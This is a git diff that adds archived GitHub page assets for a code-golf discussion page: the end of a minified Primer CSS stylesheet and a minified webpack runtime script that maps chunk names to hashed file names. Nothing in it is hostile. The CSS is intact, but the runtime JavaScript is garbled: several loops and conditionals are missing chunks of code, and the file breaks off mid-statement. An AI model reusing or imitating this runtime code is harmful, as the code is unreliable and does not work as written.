.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-top::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto !important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;box-shadow:var(--color-shadow-medium),var(--color-btn-inset-shadow);transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:transform;transform:translateX(-1px)}@media(prefers-reduced-motion){.ToggleSwitch-knob{transition:none}}.ToggleSwitch-status{position:relative;font-size:14px;line-height:1.5;color:var(--color-fg-default);text-align:right}.ToggleSwitch--small .ToggleSwitch-status{font-size:12px}.ToggleSwitch--small .ToggleSwitch-track{width:48px;height:24px}.ToggleSwitch--disabled .ToggleSwitch-status{color:var(--color-fg-muted)}.ToggleSwitch-statusOn{height:0;visibility:hidden}.ToggleSwitch-statusOff{height:auto;visibility:visible}.ToggleSwitch--statusAtEnd{flex-direction:row-reverse}.ToggleSwitch--statusAtEnd .ToggleSwitch-status{text-align:left} + +/*# sourceMappingURL=primer-048cfb03804d.css.map*/ \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js new file mode 100644 index 0000000..3c9544b --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js @@ -0,0 +1,4 @@ +(()=>{var S=Object.defineProperty;var u=(g,b)=>S(g,"name",{value:b,configurable:!0});(()=>{"use strict";var g={},b={};function t(e){var o=b[e];if(o!==void 0)return o.exports;var _=b[e]={id:e,loaded:!1,exports:{}};return g[e].call(_.exports,_,_.exports,t),_.loaded=!0,_.exports}u(t,"__webpack_require__"),t.m=g,(()=>{var e=[];t.O=(o,_,a,n)=>{if(_){n=n||0;for(var s=e.length;s>0&&e[s-1][2]>n;s--)e[s]=e[s-1];e[s]=[_,a,n];return}for(var p=1/0,s=0;s=n)&&Object.keys(t.O).every(H=>t.O[H](_[i]))?_.splice(i--,1):(r=!1,n{var o=e&&e.__esModule?()=>e.default:()=>e;return t.d(o,{a:o}),o},(()=>{var e=Object.getPrototypeOf?_=>Object.getPrototypeOf(_):_=>_.__proto__,o;t.t=function(_,a){if(a&1&&(_=this(_)),a&8||typeof _=="object"&&_&&(a&4&&_.__esModule||a&16&&typeof _.then=="function"))return _;var n=Object.create(null);t.r(n);var s={};o=o||[null,e({}),e([]),e(e)];for(var p=a&2&&_;typeof p=="object"&&!~o.indexOf(p);p=e(p))Object.getOwnPropertyNames(p).forEach(r=>s[r]=()=>_[r]);return s.default=()=>_,t.d(n,s),n}})(),t.d=(e,o)=>{for(var _ in o)t.o(o,_)&&!t.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:o[_]})},t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce((o,_)=>(t.f[_](e,o),o),[])),t.u=e=>e==="vendors-node_modules_selector-observer_dist_index_esm_js"?""+e+"-8a8fb532f817.js":e==="vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"?""+e+"-c86dedecba6d.js":e==="vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"?""+e+"-3878570f122b.js":e==="app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"?""+e+"-b9402c4f55ed.js":e==="vendors-node_modules_lit-html_lit-html_js"?""+e+"-ba8ef7c9465c.js":e==="vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"?""+e+"-338b7b65f61e.js":e==="vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"?""+e+"-12cdb93781b2.js":e==="vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"?""+e+"-d2bd677ffadf.js":e==="app_assets_modules_github_behaviors_pjax_ts"?""+e+"-9f84f27e2e5c.js":e==="vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"?""+e+"-e5871d6341d9.js":e==="vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"?""+e+"-c50ba3159c37.js":e==="vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"?""+e+"-316d55757fd3.js":e==="vendors-node_modules_codemirror_lib_codemirror_js"?""+e+"-0e675a3cbbdb.js":e==="vendors-node_modules_three_build_three_module_js"?""+e+"-d26576a099b1.js":e==="vendors-node_modules_dompurify_dist_purify_js"?""+e+"-0677fca37991.js":"chunk-"+e+"-"+{"vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"ffef934f6d1e","vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js":"20ded1c3f9b2","_empty-file_js-app_assets_modules_github_tweetsodium_ts":"570800e4a58c","app_assets_modules_github_jump-to_ts":"9bb6962425bc","app_assets_modules_github_user-status-submit_ts":"b84397a4ac61","vendors-node_modules_github_blackbird-parser_dist_blackbird_js":"edcc67677b51","app_components_search_parsing_parsing_ts-_b3651":"aa493d973ae3","app_assets_modules_github_sortable-behavior_ts":"cd5461703766","app_components_accessibility_animated-image-element_ts":"94f17dc1685d","app_components_account_verifications_launch-code-element_ts":"d0fd2937b212","app_components_advisories_metric-selection-element_ts":"4daf4af581d1","app_components_advisories_severity-calculator-element_ts":"420add2d60b0","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52":"27a93e9feadc","app_components_branch_create-branch-element_ts":"47c73f958638","app_components_code_scanning_alert-dismissal-details-element_ts":"bfe6b385324e","app_components_codespaces_advanced_options_sku-list-element_ts":"ceaa5115fdcc","app_components_codespaces_create-button-element_ts":"d1ca5c6d0c0b","app_components_command_palette_command-palette-page-element_ts":"529a5c0079af","app_components_command_palette_command-palette-page-stack-element_ts":"51f9b6fbafdf","app_components_diffs_deferred-diff-lines-element_ts":"74cc226b15d7","app_components_files_readme-toc-element_ts":"1e5835991a94","app_components_github_delayed-loading-element_ts":"f1de276bb7aa","app_components_github_feature-callout-element_ts":"2e2e8020e6ac","app_components_issues_reopen-button-element_ts":"8528a7c35aa7","app_components_mathjax_math-renderer-element_ts":"b9b794ce9879","app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts":"d970b5ecb0bb","app_components_organizations_settings_codespaces-policy-form-element_ts":"1e572db4e753","app_components_organizations_settings_features_insights-form-element_ts":"fb80816ea539","app_components_primer_action_list_action-list-element_ts":"79601d8e2624","app_components_primer_action_menu_action-menu-element_ts":"c2ea03248767","app_components_primer_experimental_toggle-switch-element_ts":"bc0f9dc31330","app_components_primer_modal_dialog_iterate-focusable-elements_ts":"c9e90cad64bc","app_components_primer_modal_dialog_modal-dialog-element_ts":"191000849018","app_components_pull_requests_file_tree_file-filter-element_ts":"832274f35bf2","app_components_pull_requests_file_tree_file-tree-element_ts":"f3152f4f0a04","app_components_pull_requests_file_tree_file-tree-toggle-element_ts":"ef3d053b90c4","app_components_repos_alerts_dependabot-alert-row-element_ts":"4b2c2c17a666","app_components_repos_alerts_dependabot-alert-table-header-element_ts":"7a8a0e5e816e","app_components_repositories_memex_memex-project-picker-element_ts":"53ed3ef415f5","app_components_repositories_pin-organization-repo-element_ts":"8169732f40ca",app_components_search_parsing_common_ts:"669dbaaac99c","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067":"10d0e2f3411a","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c":"2e9a9b96b433","app_components_search_search-input-element_ts":"c662cde7b457",app_components_search_suggestions_blackbird_ts:"9d3f0b9a1660","app_components_search_suggestions_custom-scopes_ts":"df25852e3ad8",app_components_search_suggestions_default_ts:"1e7083750a58","app_components_search_suggestions_fixed-qualifiers_ts":"f3da35af54f7",app_components_search_suggestions_history_ts:"5b7778d3b8d2",app_components_search_suggestions_languages_ts:"f8f91a6927a5","node_modules_delegated-events_dist_index_js":"a5f42cedc533",app_components_search_suggestions_suggestions_ts:"07b36587481e",app_components_search_suggestions_types_ts:"916e3d8c45b4","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"625e7dd04142","app_components_sidebar_project-picker-element_ts":"a7445ee5bcf3","app_components_slash_commands_slash-command-toolbar-button-element_ts":"447765607cc3","vendors-node_modules_chart_js_dist_chart_esm_js":"6cff96b2b76c","app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts":"5b02ffbbc782","app_components_stafftools_turbo_turbo-staffbar-element_ts":"22fa02e1f021","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"302a5111f0a7","app_components_themed_pictures_themed-picture-element_ts":"9f2cc0c8b0fc","app_components_tracking_blocks_tracking-block-api_ts":"d2edfcc3fd5a","app_components_tracking_blocks_tracking-block-element_ts":"1bf94db855a2","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"f776363d9b1c","app_assets_modules_github_profile_profile-pins-element_ts":"3f9eaf9c1f60","app_assets_modules_github_emoji-picker-element_ts":"5eb690ad8ba2","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"5517e7abe783","app_assets_modules_github_insights_insights-query_ts":"1d49b290a0a9","app_assets_modules_github_behaviors_remote-clipboard-copy_ts":"5ec315b1456a","app_assets_modules_github_insights_series-table_ts":"88c40e967d3d","vendors-node_modules_github_base-chart-element_dist_base-chart_js":"527a851d4dfc","app_assets_modules_github_insights_line-chart_ts":"ea9f86c8b7ce","app_assets_modules_github_insights_bar-chart_ts":"79b8bed29df1","app_assets_modules_github_insights_column-chart_ts":"5086ae8267a3","app_assets_modules_github_insights_stacked-area-chart_ts":"f2b10cc42f1b","app_assets_modules_github_presence_presence-avatars_ts":"68eea861e2bd","app_assets_modules_github_graphs_pulse-authors-graph-element_ts":"555a0a12a2af","app_assets_modules_github_stacks_stacks-input-config-view_ts":"52b337e4e085","app_assets_modules_github_graphs_community-contributions_ts":"d1497b6d575f","app_assets_modules_github_graphs_discussion-page-views_ts":"b7b14d0a8e16","app_assets_modules_github_graphs_discussions-daily-contributors_ts":"ae3978791f6f","app_assets_modules_github_graphs_discussions-new-contributors_ts":"b53affc543a7","app_assets_modules_github_graphs_code-frequency-graph-element_ts":"bb79cb796c54","vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js":"cb8dab829171","vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158":"b1f74f8aa268","app_assets_modules_github_graphs_contributors-graph-element_ts":"618c49878ee2","vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834":"b4d52f496960","app_assets_modules_github_graphs_org-insights-graph-element_ts":"ffb02396dbf4","app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25":"9d80281b1f30","app_assets_modules_github_graphs_traffic-clones-graph-element_ts":"cd2424a12f84","app_assets_modules_github_graphs_traffic-visitors-graph-element_ts":"0d5b216bec91","app_assets_modules_github_graphs_commit-activity-graph-element_ts":"1c205baacb3b","app_assets_modules_github_graphs_marketplace-insights-graph-element_ts":"6e57a35fbc19","vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d":"1bf929bb3d58","app_assets_modules_github_settings_user-sessions-map-element_ts":"38e2fd1a876f","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"0383e1293fe8","app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts":"4ba70be83c34",app_assets_modules_github_dependencies_ts:"9edfce444edb","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"c308a504a500","app_assets_modules_github_graphs_network-graph-element_ts":"4e7d9dc97c14","app_assets_modules_github_business-audit-log-map-element_ts":"48ea5be979d9","app_assets_modules_github_localization_inline-machine-translation-element_ts":"203846088225","app_assets_modules_github_gist_drag-drop_ts":"83cc70a31603","app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts":"e6b2becb5f85","app_assets_modules_github_profile_contributions-spider-graph_ts":"9823b871480c","app_assets_modules_github_webgl-warp_ts":"8d34dd71e14f","vendors-node_modules_mathjax_es5_tex-chtml-full_js":"e458fb3fc4c8","app_components_search_parsing_parsing_ts-_b3650":"0b181ac6599e"}[e]+".js",t.g=function(){if(typeof globalThis=="object")return globalThis;try{return this||new Function("return this")()}catch{if(typeof window=="object")return window}}(),t.o=(e,o)=>Object.prototype.hasOwnProperty.call(e,o),(()=>{var e={};t.l=(o,_,a,n)=>{if(e[o]){e[o].push(_);return}var s,p;if(a!==void 0)for(var r=document.getElementsByTagName("script"),i=0;i{s.onerror=s.onload=null,clearTimeout(m);var H=e[o];if(delete e[o],s.parentNode&&s.parentNode.removeChild(s),H&&H.forEach(f=>f(h)),c)return c(h)},"onScriptComplete"),m=setTimeout(d.bind(null,void 0,{type:"timeout",target:s}),12e4);s.onerror=d.bind(null,s.onerror),s.onload=d.bind(null,s.onload),p&&document.head.appendChild(s)}})(),t.r=e=>{typeof Symbol!="undefined"&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.nmd=e=>(e.paths=[],e.children||(e.children=[]),e),(()=>{var e;t.g.importScripts&&(e=t.g.location+"");var o=t.g.document;if(!e&&o&&(o.currentScript&&(e=o.currentScript.src),!e)){var _=o.getElementsByTagName("script");_.length&&(e=_[_.length-1].src)}if(!e)throw new Error("Automatic publicPath is not supported in this 